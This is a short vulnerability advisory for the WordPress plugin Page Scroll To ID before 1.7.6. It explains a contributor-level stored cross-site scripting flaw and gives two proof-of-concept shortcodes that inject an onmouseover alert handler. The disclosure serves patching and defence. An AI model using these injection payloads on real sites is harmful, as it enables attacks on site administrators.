WordPress Plugin Vulnerabilities

Page Scroll To ID < 1.7.6 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.

Proof of Concept

Put the following shortcodes in a page/post:

1. [ps2id url='#' class='" onmouseover="alert(/XSS/)']ClickMe![/ps2id]

2. [ps2id_wrap id='" onmouseover="alert(/XSS/)']ClickMe![/ps2id_wrap]

The XSS will be triggered when previewing/viewing the related post/page and moving the mouse over the "ClickMe!"  (the theme must be compatible with the plugin, this was tested with Twenty Seventeen).

Affects Plugins

Fixed in 1.7.6
